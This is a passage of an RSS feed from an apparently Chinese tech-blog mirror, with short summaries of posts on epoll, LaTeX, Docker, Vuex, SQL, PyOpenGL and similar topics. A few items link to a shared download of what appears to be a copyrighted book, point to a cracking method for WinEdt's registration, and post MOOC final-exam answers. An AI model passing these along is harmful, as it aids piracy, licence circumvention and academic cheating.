      <description>《深度学习实践:计算机视觉》主要介绍了深度学习在计算机视觉方面的应用及工程实践，以Python 3为&#xA;开发语言，并结合当前主流的深度学习框架进行实例展示。主要内容包括：OpenCV入门、深度学习框架&#xA;介绍、图像分类、目标检测与识别、图像分割、图像搜索以及图像生成等，涉及到的深度学习框架包括&#xA;PyTorch、TensorFlow、Keras、Chainer、MXNet等。通过本书，读者能够了解深度学习在计算机视觉各个&#xA;方向的应用以及新进展。&#xA;《深度学习实践:计算机视觉》主要关注计算机视觉领域，基于开源项目介绍最新的算法：&#xA;第1章对深度学习与计算机视觉进行简要介绍，也会简单介绍开发环境的搭建。&#xA;第2章主要介绍OpenCV的基本操作及部分高级操作，包括人脸和人眼的检测与识别。&#xA;学习参考：&#xA;《深度学习实践:计算机视觉》PDF，255页，带书签目录，彩色配图，文字可以复制，缪鹏 著。&#xA;下载地址：&#xA;链接: https://pan.baidu.com/s/1mrZ7dUv97eKsNC2Cs5_RDQ 提取码: y8m3</description>
    </item>
    <item>
      <title>python epoll多路复用技术_python：多路复用＋零拷贝</title>
      <link>https://bchobby.github.io/posts/87c29be9e8e0088c7a2a2dfb8879dfc9/</link>
      <pubDate>Thu, 10 Dec 2020 09:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87c29be9e8e0088c7a2a2dfb8879dfc9/</guid>
      <description>作为通信模块目前比较热的2个词：零拷贝，多路复用，都是性能提升较多的词，发送方利用零拷贝技术减少内存拷贝的时空开销，提升性能，接收方利用I/O多路复用技术，加速数据接受。&#xA;零拷贝&#xA;一种高效的数据传输机制，在追求低延迟的传输场景中十分常用。同样零拷贝由于数据不再进入用户空间，直接从kernel层进行处理，故在拷贝时，需要连续处理，不能中断，同时传输的数据无法修改。&#xA;零拷贝技术主要应用在文件发送环节，在kafka、Spark、Netty等高性能组件中均有使用。以下通过数据拷贝、上下文切换、时序图进行差异化比对，从标准化通信到零拷贝Block DMA，再到Scatter/Gather，数据拷贝次数不断减少，上下文切换也不断减少，随着文件增大，性能差异越来越明显，对于CPU和IO的消耗都是成倍减少。&#xA;kafka大吞吐低性能的首选队列，内含分区并行、ISR机制、顺序写入、页缓存等机制。kafka消息设计海量数据的读写，通过零拷贝能显著降低延迟，提供性能和效率。利用java NIO API中FileChannel.transferTo()方法，实现缓存数据的零拷贝。&#xA;spark在进行内存计算时，常用零拷贝来处理溢写， Shuffle过程中的溢写逻辑。由于Shuffle过程涉及大量的数据交换，因此效率当然是越高越好。零拷贝来快速合并溢写文件的分片，有一个专门的配置项来控制是否启用零拷贝(默认当然是true)&#xA;Netty提供了零拷贝的buffer，在传输数据时，最终处理的数据会需要对单个传输的报文，进行组合和拆分，Nio原生的ByteBuffer无法做到，netty通过提供的Composite(组合)和Slice(拆分)两种buffer来实现零拷贝。Netty的接收和发送ByteBuffer使用直接内存进行Socket读写，不需要进行字节缓冲区的二次拷贝。如果使用JVM的堆内存进行Socket读写，JVM会将堆内存Buffer拷贝一份到直接内存中，然后才写入Socket中。相比于使用直接内存，消息在发送过程中多了一次缓冲区的内存拷贝。Netty的文件传输调用FileRegion包装的transferTo方法，可以直接将文件缓冲区的数据发送到目标Channel，避免通过循环write方式导致的内存拷贝问题。如图：&#xA;不同的操纵系统对内核缓冲区到Socket缓冲区的复制操作，多有不同，linux中为sendfile()，java中主要通过fileChannel.transferTo完成。&#xA;RocketMQ采用零拷贝mmap+write的方式。&#xA;ps：关于sendfile与mmap+write差异及原理，参考https://zhuanlan.zhihu.&#xA;com/p/88789697。&#xA;I/O多路复用&#xA;IO多路复用：句柄描述符发生变化后，通知进程进行处理，通过回调实现进程的多路复用。多进程和多线程技术相比，I/O多路复用技术的最大优势是系统开销小，系统不必创建进程/线程，也不必维护这些进程/线程，从而大大减小了系统的开销。目前支持I/O多路复用的系统调用有 select，pselect，poll，epoll，I/O多路复用就是监视多个描述符，一旦某个描述符就绪(一般是读就绪或者写就绪)，能够通知程序进行相应的读写操作。但select，pselect，poll，epoll本质上都是同步I/O，因为他们都需要在读写事件就绪后自己负责进行读写，也就是说这个读写过程是阻塞的，而异步I/O则无需自己负责进行读写，异步I/O的实现会负责把数据从内核拷贝到用户空间。&#xA;select&#xA;select目前几乎在所有的平台上支持，其良好跨平台支持也是它的一个优点。select缺点在于单个进程能够监视的文件描述符的数量存在最大限制，在Linux上一般为1024，可以通过修改宏定义甚至重新编译内核的方式提升这一限制，但是这样也会造成效率的降低。由于可提升扫描上限，轮询线性扫描性能较低，数据结构传递时开销太大。不建议应用于大并发操作。&#xA;poll&#xA;poll本质上和select没有区别，链式结构，无最大连接数限制，遍历文件描述符状态获取socket，拷贝内核等待就绪，若存在就绪资源较少时，大量请求时，内核数组会变得很大，性能会线性下降。&#xA;ps：select和poll都是轮询方式，最大的连接数有限制，都有等待拷贝到内核的开销，等待资源过多时，效率线性下降。&#xA;epoll&#xA;相对于select和poll来说，epoll更加灵活，没有描述符限制，就绪状态触发回调，同时使用mmap的零拷贝。epoll使用一个文件描述符管理多个描述符，将用户关系的文件描述符的事件存放到内核的一个事件表中，这样在用户空间和内核空间的copy只需一次。epoll支持水平触发和边缘触发，最大的特点在于边缘触发，它只告诉进程哪些fd刚刚变为就绪态，并且只会通知一次。还有一个特点是，epoll使用“事件”的就绪通知方式，通过epoll_ctl注册fd，一旦该fd就绪，内核就会采用类似callback的回调机制来激活该fd，epoll_wait便可以收到通知。回调模式，在就绪状态大量情况下，大量回调可能存在性能问题。&#xA;最终选择，在连接少、或越多情况下，select和poll的性能比epoll好，epoll回调触发较多。连接较少的情况下，适合poll，大量的情况下还是epoll好。&#xA;oup实践&#xA;oup方案中的oup-flask公共模块部分，为对select、poll、epoll及多线程、多进程均作为高复用模块，固化。关于o_server.py，分享出来：&#xA;https://kdocs.cn/l/cg4T0assBHFk</description>
    </item>
    <item>
      <title>text生成pdf之ctex&amp;winedit&amp;miktex&amp;gbk2uni的安装使用方法</title>
      <link>https://bchobby.github.io/posts/193ef21005bcf7b72e8be3d8ed206cec/</link>
      <pubDate>Wed, 09 Dec 2020 17:28:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/193ef21005bcf7b72e8be3d8ed206cec/</guid>
      <description>因为工作原因，需要将.tex文件转成pdf文档。于是进行了winedit及ctex文件安装，但发现走了一些弯路。为了避免再有同行走相同的弯路，于是我将相关的经验写下来，供大家参考。&#xA;一：误区&#xA;从www.winedt.com网站上下载winedt安装。这个安装后不携带ctex可执行文件。从winedt官网上携带的ctex链接下载软件后，是用的在线安装，安装速度特别慢，安装30分钟后，刚完成1/10的进度。&#xA;二：正道&#xA;1：从国内镜像下载离线完整版本&#xA;从http://www.ctex.org/CTeXDownload/上面下载CTex2.9.3版本，我是从清华TUNA镜像上下载的。用迅雷下载不到10分钟就下载完毕，然后用3分钟左右时间安装完毕。&#xA;安装完成后，winedit和ctex和mitex工具都具备了。&#xA;2.安装gbk2uni&#xA;这是由cxterm/张林波/hooklee共同开发的支持GBK中文pdf书签的小工具，下载地址是：http://www.hooklee.com/tex/gbk2uni.zip（若CTeX系统已经集成此工具可以不用下载）。&#xA;3.配置&#xA;配置Path环境变量，将ctex执行程序的目录增加到此环境变量中。&#xA;4.生成pdf步骤&#xA;用winedt打开tex文件，在console窗口中选择“Command Prompt”按钮&#xA;按以下步骤执行，中间若有执行不下去的地方且不是严重语法问题可输入r并回车，【main】指tex文件名，不带后缀。&#xA;编译过程1：&#xA;pdflatex main&#xA;gbk2uni main&#xA;pdflatex main&#xA;或&#xA;编译过程2：&#xA;latex main&#xA;gbk2uni main&#xA;latex main&#xA;dvipdfm main&#xA;TIPS:&#xA;我在使用winedit时发现提示要注册，从下面的博客上看到了一个破解方法，以供参考。&#xA;https://blog.csdn.net/weixin_30793735/article/details/81234823</description>
    </item>
    <item>
      <title>知晓当前是在哪一个 Activity  Kotlin.Android</title>
      <link>https://bchobby.github.io/posts/88de115d17420eebd43b6677f9c5fe38/</link>
      <pubDate>Wed, 09 Dec 2020 17:23:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88de115d17420eebd43b6677f9c5fe38/</guid>
      <description>知晓当前是在哪一个 Activity open class BaseActiviyt :AppCompatActivity(){ override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) Log.d(&#34;获取当前实例的Class对象&#34;,javaClass.simpleName) } } 不管是哪个类继承了这个类打印的就是当前这个类&#xA;这里我创建了三个Activity分别都继承了BaseActivity这个类&#xA;主活动自己创建里面只有按钮 注意都不要继承AppCompatActivity这个父类，因为BaseActivity这个类已经继承&#xA;运行程序主活动FirstActivity点击按钮进入SeconfActivity在点击按钮进入ThirdActivity&#xA;我们看打印结果: 只要进入哪个Activity就会打印出该Activity的类名</description>
    </item>
    <item>
      <title>1136 字符串替换(语言入门)</title>
      <link>https://bchobby.github.io/posts/c5290c67e5fb34daf30f82cee8ae7ef3/</link>
      <pubDate>Wed, 09 Dec 2020 13:11:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5290c67e5fb34daf30f82cee8ae7ef3/</guid>
      <description> 字符串替换(语言入门) 1.描述 编写一个程序实现将字符串中的所有&#34;you&#34;替换成&#34;we&#34;&#xA;输入&#xA;输入包含多行数据&#xA;每行数据是一个字符串，长度不超过1000&#xA;输出&#xA;对于输入的每一行，输出替换后的字符串&#xA;样例输入&#xA;you are what you do&#xA;样例输出&#xA;we are what we do&#xA;2.代码 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;math.h&amp;gt; #include&amp;lt;string.h&amp;gt; int main() { char a[1001]; int i,x,s,j; gets(a); x=strlen(a); for(i=0; i&amp;lt;x; i++) { if(a[i]==&#39;y&#39;&amp;amp;&amp;amp;a[i+1]==&#39;o&#39;&amp;amp;&amp;amp;a[i+2]==&#39;u&#39;) { a[i]=&#39;w&#39;; a[i+1]=&#39;e&#39;; a[i+2]=2; } } for(i=0; i&amp;lt;x; i++) { if(a[i]==2) { continue; } printf(&#34;%c&#34;,a[i]); } return 0; } </description>
    </item>
    <item>
      <title>Centos8.2环境下docker安装配置Kafka和zookeeper</title>
      <link>https://bchobby.github.io/posts/8acc8affec122654b154067dc253a81d/</link>
      <pubDate>Wed, 09 Dec 2020 11:08:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8acc8affec122654b154067dc253a81d/</guid>
      <description>Centos8.2环境下docker安装配置Kafka和zookeeper 1.下载kafka和Zookeeper镜像 docker pull wurstmeister/kafka docker pull wurstmeister/zookeeper 2.查看镜像 [root@localhost ~]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE wurstmeister/kafka latest 40094a582680 3 months ago 435MB wurstmeister/zookeeper latest 3f43f72cb283 22 months ago 510MB 3.运行zookeeper docker run -d --name zookeeper -p 2181:2181 -t wurstmeister/zookeeper ## 4.运行kafka ``docker run --name kafka \ -p 9092:9092 \ -e KAFKA_BROKER_ID=0 \ -e KAFKA_ZOOKEEPER_CONNECT=192.168.200.129:2181 \ -e KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://192.168.200.129:9092 \ -e KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \ -d wurstmeister/kafka ## 5.查看容器状态 ```java [root@localhost ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 7b18d4e2c2f7 wurstmeister/kafka &#34;</description>
    </item>
    <item>
      <title>解决Ubuntu检测到系统程序出现问题</title>
      <link>https://bchobby.github.io/posts/ef2dc119048ec15643dbfb95b5c15e32/</link>
      <pubDate>Wed, 09 Dec 2020 10:55:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef2dc119048ec15643dbfb95b5c15e32/</guid>
      <description>每次开机都会提示系统程序出现问题，但是报告问题也依旧会跳出来，干脆直接禁用Apport，方法如下：&#xA;sudo su #切换root用户 sudo gedit /etc/default/apport 把里面的enabled=1改成enabled=0 Ubuntu发生了一个内部错误是个Apport（LCTT 译注：Apport是Ubuntu中错误信息的收集报告系统，详见Ubuntu Wiki中的Apport篇），它将会进一步的打开网页浏览器，然后你可以通过登录或创建Launchpad帐户来填写一份漏洞（Bug)报告文件。除非你愿意填写错误报告（填写了其实不一定有用），我建议直接禁用Apport，之后系统中任何程序错误也不会再弹窗提示你。</description>
    </item>
    <item>
      <title>汇编语言sub指令用法_汇编语言（Assembler Language）</title>
      <link>https://bchobby.github.io/posts/6f3fed532d5821b69b9c32fe1db43a57/</link>
      <pubDate>Wed, 09 Dec 2020 08:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f3fed532d5821b69b9c32fe1db43a57/</guid>
      <description>试着记住下面这些字符串：“ADD 1，2”、“SUB 1，2”、“1011011000000000”、“1011010100000000”，你先记住了谁？显然是前面两个。它们就是汇编语言的加法和减法语句。由于以二进制编码产生的机器语言既难懂又难记，人们为了便于阅读记忆，就将原来的机器代码以英文字符串的形式来表示，这就是汇编语言。例如用汇编语言“ADD 1，2”中的“ADD”代表机器语言“1011011000000000”，表示要求计算机做一次加法；用汇编语言“SUB 1，2”中的“SUB”代表机器语言“1011010100000000”，表示要求计算机做一次减法等等。比起那两串长长的二进制代码，“ADD”和“SUB”是不是简单好记得多？&#xA;​&#xA;汇编语言的出现大大方便了程序员的程序编写和记忆，使计算机语言的发展向前迈进了一大步。但实际上，汇编语言仍然是一种低级语言，仍然是面向机器硬件的程序设计语言。不过也正因为如此，汇编语言今天仍被广泛用于编写面向机器硬件的实时控制程序和系统程序。例如机器自检、系统初始化、实际的输入和输出设备的操作等等。&#xA;​&#xA;机器语言&#xA;机器语言是最早的计算机语言，也是计算机唯一可以识别和接受的语言。谈到机器语言，我们就不得不再一次谈到“指令”。在第三章中我们曾讲过什么是指令，这里，我们要说的是指令与机器语言的关系。&#xA;​&#xA;同军舰上的旗语一样，人们在设计某一类型计算机的同时也为它设计了一套“旗语”——“指令系统”。指令系统就是一台计算机所能执行的全部指令。在指令系统中，人们事先规定好了某一个二进制代码代表的是哪一种操作。例如在16位机上，人们规定：用1011011000000000作为一条加法指令，计算机在接收到此指令后就执行一次加法，用1011010100000000作为减法指令，命令计算机去执行一次减法等等。16个“0”和“1”的排列组合可以形成65 536条指令，这些指令通过一定的逻辑电路转换为不同的电信号，就可以“指挥”计算机执行各种不同的操作了。这种由“0”和“1”组成的指令，就叫做“机器指令”。一种计算机系统的全部机器指令的集合就称为该计算机的“机器语言”。瞧，我们很轻易地就搞清了指令与机器语言的关系。&#xA;​&#xA;实际上，机器语言就是用二进制代码编写的、机器能够直接识别的指令。机器语言看上去仍然既抽象又乏味，在计算机技术发展的初期，它曾使早期的程序员苦不堪言，而今天的程序员对待它的态度也是——敬而远之。&#xA;重要的信息：机器语言是计算机唯一可识别和接受的语言。“我自己是一名从事了10年的老程序员，辞职目前在做讲师，今年年初我花了一个月整理了一份最适合2018年学习的c++干货，从最基础的到深入的都有整理，送给每一位编程小伙伴，这里是小白聚集地，欢迎初学和进阶中的小伙伴。&#34;加企鹅群：648778840(招募中)&#xA;学习思路：&#xA;学习资料：</description>
    </item>
    <item>
      <title>计算机专业大学排名_计算机专业大学排名公布：大连大学、辽宁师范大学冲进前一百...</title>
      <link>https://bchobby.github.io/posts/c6a4d5ae02a2d41e8f2d59b09ade6394/</link>
      <pubDate>Wed, 09 Dec 2020 01:18:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6a4d5ae02a2d41e8f2d59b09ade6394/</guid>
      <description>【1】国内大学排名重新“洗牌”，清华北大无缘榜首，“山东大学、四川大学、吉林大学”完美逆袭。&#xA;【2】计算机专业大学排名公布：大连大学、辽宁师范大学冲进前一百。&#xA;【3】武汉理工大学和华中农业大学这两所高校属于实力强劲的211高校，均有全国排名第一的学科，备受20届考生青睐。&#xA;专业科普 水产养殖学&#xA;水产养殖学专业培养具备水产动、植物增养殖科学等方面的基本理论、基本知识和基本技能，能在水产养殖生产、教育、科研和管理等部门从事科学研究、教学、水产养殖开发、管理等工作的高级科学技术人才。&#xA;就业前景：毕业生可以到大专院校、各级水产研究、生产开发和管理以及水产环保、外贸海关等部门。&#xA;院校解读 大连海洋大学&#xA;大连海洋大学是国家首批卓越农林人才教育培养计划改革试点高校、辽宁省一流大学重点建设高校，学校原为农业部直属的四所水产类高等院校之一，是一所以海洋和水产学科为特色的高等院校。&#xA;优势专业：水产养殖、水生生物学、港口航道与海岸工程&#xA;综合排名：第345名</description>
    </item>
    <item>
      <title>编写函数，逆置字符数组</title>
      <link>https://bchobby.github.io/posts/000c66f7fbb9e2bb7dbd07fad200a473/</link>
      <pubDate>Tue, 08 Dec 2020 22:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/000c66f7fbb9e2bb7dbd07fad200a473/</guid>
      <description>逆置字符数组 逆置字符数组非递归函数体：具体实现： 递归函数体具体实现： 逆置字符数组 编写一个函数 reverse_string(char * string)（递归实现）&#xA;实现：将参数字符串中的字符反向排列。&#xA;要求：不能使用C函数库中的字符串操作函数。&#xA;非递归 函数体： 该函数的主要思路：&#xA;逆置字符串，循环的方式实现非常简单&#xA;给两个指针，left放在字符串左侧，right放在最后一个有效字符位置交换两个指针位置上的字符left指针往后走，right指针往前走，只要两个指针没有相遇，继续2，两个指针相遇后，逆置结束 void reverse_string1(char* arr) { char *left = arr; char *right = arr + strlen(arr) - 1; while (left&amp;lt;right) { char tmp = *left; *left = *right; *right = tmp; left++; right--; } } 具体实现： #include &amp;lt;stdio.h&amp;gt; #include&amp;lt;string&amp;gt; void reverse_string1(char* arr) { char *left = arr; char *right = arr + strlen(arr) - 1; while (left&amp;lt;right) { char tmp = *left; *left = *right; *right = tmp; left++; right--; } } int main() { char str[] = &#34;</description>
    </item>
    <item>
      <title>工程伦理 清华大学 MOOC 期末答案 2020冬</title>
      <link>https://bchobby.github.io/posts/0f20ecc708ab247c7cc1ecf6afa625aa/</link>
      <pubDate>Tue, 08 Dec 2020 15:43:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f20ecc708ab247c7cc1ecf6afa625aa/</guid>
      <description>前言：答案是本人自己查阅。不保证其完全正确性，仅供参考&#xA;点个赞再走呗 ：）&#xA;1.单选题 (1分)&#xA;以下不属于安全文化的核心的是(D)。 A&#xA;人的安全知识&#xA;B //&#xA;人的安全意识&#xA;C //&#xA;人的安全技能&#xA;D //&#xA;人的安全装备&#xA;2.单选题 (1分)&#xA;人的身份用来界定一个人是谁或者是什么,具有可识别性、独特性、唯一 性。与人的身份不一样,数字身份具有多样性与(B),具有容易被盗用、容易 被追溯等特点。 A //&#xA;一致性&#xA;B //&#xA;可变性&#xA;C //&#xA;不变性&#xA;D //&#xA;虚假性&#xA;3.单选题 (1分)&#xA;人与自然和谐发展是处理工程与自然关系的基本原则,其要求工程的决策 者、设计者、实施者以及使用者都要了解和尊重自然的内在发展规律,不 仅注重自然规律,更要注重(D) A //&#xA;技术规律&#xA;B //&#xA;经济规律&#xA;C //&#xA;社会规律&#xA;D //&#xA;生态规律&#xA;4.单选题 (1分)&#xA;当某项工程在施工期间出现了技术规范所不允许的断层、裂缝、倾斜、倒 塌、沉降、强度不足等情况时,监理工程师首先需要做的是?(B) A //&#xA;对承包人提出的处理方案予以审查、修正、批准,并指令恢复该项工程施工。&#xA;B //&#xA;暂停该项工程的施工,并采取有效的安全措施。&#xA;C //&#xA;要求承包人尽快提出质量事故报告并报告业主。&#xA;D //&#xA;对承包人提出的有争议的质量事故责任予以判定。&#xA;5.判断题 (1分)</description>
    </item>
    <item>
      <title>vuex，简单易懂！！！</title>
      <link>https://bchobby.github.io/posts/71b030d3aa73a7124b55fba7f6e69252/</link>
      <pubDate>Tue, 08 Dec 2020 15:40:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71b030d3aa73a7124b55fba7f6e69252/</guid>
      <description>vuex 为什么会有Vuex ?&#xA;Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化。&#xA;vuex是采用集中式管理组件依赖的共享数据的一个工具，可以解决不同组件数据共享问题。&#xA;结论（提前总结，往下慢慢看!）&#xA;修改state状态必须通过mutations&#xA;mutations只能执行同步代码，类似ajax，定时器之类的代码不能在mutations中执行&#xA;执行异步代码，要通过actions，然后将数据提交给mutations才可以完成&#xA;state的状态即共享数据可以在组件中引用&#xA;组件中可以调用action&#xA;vuex基础-初始化功能 建立一个新的脚手架项目, 在项目中应用vuex&#xA;$ vue create demo 开始vuex的初始化建立，选择模式时，选择默认模式&#xA;初始化：&#xA;第一步：npm i vuex --save =&amp;gt; 安装到运行时依赖 =&amp;gt; 项目上线之后依然使用的依赖 ,开发时依赖 =&amp;gt; 开发调试时使用&#xA;开发时依赖 就是开开发的时候，需要的依赖，运行时依赖，项目上线运行时依然需要的&#xA;第二步： 在main.js中 import Vuex from &#39;vuex&#39;&#xA;第三步：在main.js中 Vue.use(Vuex) =&amp;gt; 调用了 vuex中的 一个install方法&#xA;第四步：const store = new Vuex.Store({...配置项})&#xA;第五步：在根实例配置 store 选项指向 store 实例对象&#xA;import Vue from &#39;vue&#39; import Vuex from &#39;vuex&#39; Vue.use(vuex) const store = new Vuex.</description>
    </item>
    <item>
      <title>转载：充分条件、必要条件、充分必要条件的解释</title>
      <link>https://bchobby.github.io/posts/1c39ea0eb441c47bc5578b2e1d84d5fb/</link>
      <pubDate>Tue, 08 Dec 2020 13:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c39ea0eb441c47bc5578b2e1d84d5fb/</guid>
      <description>原始链接：https://www.jianshu.com/p/9783ed0bb89b&#xA;充分条件、必要条件、充分必要条件的解释&#xA;（一）先看看概念 假设A是条件，B是结论。&#xA;（1）如果由A可以推出B，由B可以推出A，则A是B的充分必要条件，这种情况下B也是A的充分必要条件，简称充要条件。&#xA;（2）由A可以推出B，由B不可以推出A，则A是B的充分条件，但是，不是必要条件。&#xA;（3）由A不可以推出B，由B可以推出A，或者还可以说，没有A就没有B，则A是B的必要条件，但是，不是充分条件。&#xA;（4）当然还有第四种情况，就是由A不可以推出B，由B也不可以推出A，那么A是B的既不充分也不必要条件，反之亦然，可能只是某些情况下的条件之一或者一定程度的相关而已，没有固定的必然的联系。</description>
    </item>
    <item>
      <title>matlab条形图添加误差线_带误差线的条形图</title>
      <link>https://bchobby.github.io/posts/8282be8dbbf028cc9f452960ce0491d4/</link>
      <pubDate>Mon, 07 Dec 2020 18:01:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8282be8dbbf028cc9f452960ce0491d4/</guid>
      <description>误差线可以反应数据有多精确，或者说，(无误差)真实值与观察值之间的距离有多远。对于条形图而言，如果图形反应的是综合的结果(如均值等)，就可能需要添加误差线。本文将对此进行展示。&#xA;为了画出带误差线的条形图，我们需要先画出一个条形图。然后，或使用ggplot2中的geom_errorbar()添加误差线。&#xA;geom_errorbar()函数需要设定三个参数：&#xA;ymin 和ymax错误线的底部和顶部的位置&#xA;x：在x轴上的位置&#xA;现假设对于同一变量，有5组被试得分如下：&#xA;library(ggplot2)# 创建数据data name=letters[1:5], value=sample(seq(4,15),5), sd=c(1,0.2,3,2,4))data 共有5组平均值及其标准差&#xA;画出带误差线的条形图&#xA;ggplot(data) + geom_bar( aes(x=name, y=value), stat=&#34;identity&#34;, fill=&#34;skyblue&#34;, alpha=0.7) + geom_errorbar( aes(x=name, ymin=value-sd, ymax=value+sd), width=0.4, colour=&#34;orange&#34;, alpha=0.9, size=1.3) ‍&#xA;此外，还可以使用：&#xA;geom_crossbar()：用于绘制箱形的误差线&#xA;ggplot(data) + geom_bar( aes(x=name, y=value), stat=&#34;identity&#34;, fill=&#34;skyblue&#34;, alpha=0.5) + geom_crossbar( aes(x=name, y=value, ymin=value-sd, ymax=value+sd), width=0.4, colour=&#34;orange&#34;, alpha=0.9, size=1.3) geom_linerange()：用于绘制直线形的误差线&#xA;ggplot(data) + geom_bar( aes(x=name, y=value), stat=&#34;identity&#34;, fill=&#34;skyblue&#34;, alpha=0.5) + geom_linerange( aes(x=name, ymin=value-sd, ymax=value+sd), colour=&#34;orange&#34;, alpha=0.9, size=1.3) geom_pointrange()：用于绘制带点的误差线</description>
    </item>
    <item>
      <title>Error: No PostCSS Config found in... 报错问题</title>
      <link>https://bchobby.github.io/posts/2c3ac10046c8f3cdf2775b54976bd158/</link>
      <pubDate>Mon, 07 Dec 2020 17:40:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c3ac10046c8f3cdf2775b54976bd158/</guid>
      <description>项目在本地运行不报错，上传到 GitHub 之后，再 clone 到本地，执行：&#xA;npm install&#xA;安装完成之后再执行：&#xA;npm run dev&#xA;这时报错 Error: No PostCSS Config found in…&#xA;本以为是 GitHub 上传的问题，后开又试了两回，发现问题依然存在，于是就开始网上寻找办法。&#xA;解决方案&#xA;在项目根目录新建postcss.config.js文件，并对postcss进行配置：&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } 好了 试试&#xA;npm run dev 果然好了&#xA;项目在本地运行时本来不报错的，但是为什么上传到 GitHub 之后，再 clone 下来，再运行就得单独写一个 postcss.config.js 的文件并配置一下呢？&#xA;在npm上查到的postcss配置在webpack.config.js，postcss.config.js是针对webpack3.0做的特殊处理</description>
    </item>
    <item>
      <title>STM32 Cubemonitor 修改变量数值</title>
      <link>https://bchobby.github.io/posts/8a88e04291c30ac8ae7727cc999a14ce/</link>
      <pubDate>Mon, 07 Dec 2020 17:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a88e04291c30ac8ae7727cc999a14ce/</guid>
      <description>STM32 Cubemonitor 修改变量 话不多说，上图：</description>
    </item>
    <item>
      <title>SQL Server添加字段注释表注释comments，Oracle与Sql Server添加注释语法区别</title>
      <link>https://bchobby.github.io/posts/871a60b3cf158324e6c6de22f96184f4/</link>
      <pubDate>Mon, 07 Dec 2020 16:13:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/871a60b3cf158324e6c6de22f96184f4/</guid>
      <description>SQL Server添加字段注释，添加表注释comments 在SQL Server语法中，给表字段与表添加注释与Oracle语法有的很大的区别。&#xA;Oracle语法添加字段注释 语法&#xA;COMMENT on column 表.字段 is &#39;字段注释&#39;; COMMENT ON table 表 IS &#39;表注释&#39;; 示例&#xA;--添加userTest表的userName字段注释为&#34;用户姓名&#34; COMMENT on column userTest.userName is &#39;用户姓名&#39;; --添加userTest表的表注释为&#34;用户信息表&#34; COMMENT ON table userTest IS &#39;用户信息表&#39;; --对于删除、更新注释语法一样，直接更改即可。 --删除userTest表的userName字段注释 COMMENT on column userTest.userName is &#39;&#39;; --删除userTest表的表注释 COMMENT ON table userTest IS &#39;&#39;; Sql Server语法添加字段注释 语法&#xA;--添加字段注释 execute sp_addextendedproperty &#39;MS_Description&#39;,&#39;填写你的字段注释&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,&#39;column&#39;,&#39;字段名&#39;; --修改字段注释 execute sp_updateextendedproperty &#39;MS_Description&#39;,&#39;填写你的字段注释&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,&#39;column&#39;,&#39;字段名&#39;; --删除字段注释 execute sp_dropextendedproperty &#39;MS_Description&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,&#39;column&#39;,&#39;字段名&#39;; -- 添加表注释 execute sp_addextendedproperty &#39;MS_Description&#39;,&#39;填写你的表注释&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,null,null; -- 修改表注释 execute sp_updateextendedproperty &#39;MS_Description&#39;,&#39;填写你的表注释&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,null,null; -- 删除表注释 execute sp_dropextendedproperty &#39;MS_Description&#39;,&#39;user&#39;,&#39;DB schema&#39;,&#39;table&#39;,&#39;填写表名&#39;,null,null; 示例</description>
    </item>
    <item>
      <title>python3配置PyOpenGL环境</title>
      <link>https://bchobby.github.io/posts/986d4d27abecfa04f0a914bc8e51c50e/</link>
      <pubDate>Mon, 07 Dec 2020 16:01:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/986d4d27abecfa04f0a914bc8e51c50e/</guid>
      <description>因为计算机图形学课程需要使用OpenGL画图，不习惯用C++写代码，所以我发现了python也有PyOpenGL库可以实现画图，于是开始了长达半个小时的安装，这里把踩的坑写一下。&#xA;首先如果直接pip install PyOpenGL PyOpenGL_accelerate&#xA;我直接是安装成功了，然后就以为可以使用了，跑了一下测试代码：&#xA;from OpenGL.GL import * from OpenGL.GLU import * from OpenGL.GLUT import * def Draw(): glClear(GL_COLOR_BUFFER_BIT) glRotatef(0.5, 0, 1, 0) glutWireTeapot(0.5) glFlush() glutInit() glutInitDisplayMode(GLUT_SINGLE | GLUT_RGBA) glutInitWindowSize(400, 400) glutCreateWindow(&#34;test&#34;) glutDisplayFunc(Draw) glutIdleFunc(Draw) glutMainLoop() if __name__ == &#39;__main__&#39;: Draw() 结果报错：&#xA;这个错误网上也很多人说过，我的电脑是64位的，而这个错误无非是直接pip安装只能安装32位的库，因此报错。所以需要手动去下载whl文件安装PyOpenGL。&#xA;这里我附上网址：&#xA;https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyopengl&#xA;我这里也把我自己的配置的whl文件放在这儿，我是win10 + python3.7 + 64位，&#xA;PyOpenGL_accelerate-3.1.5-cp37-cp37m-win_amd64&#xA;提取码:hglu&#xA;将压缩包下载解压，然后进入PyOpenGL-3.1.5-cp37-cp37m-win_amd64.whl对应目录，pip install 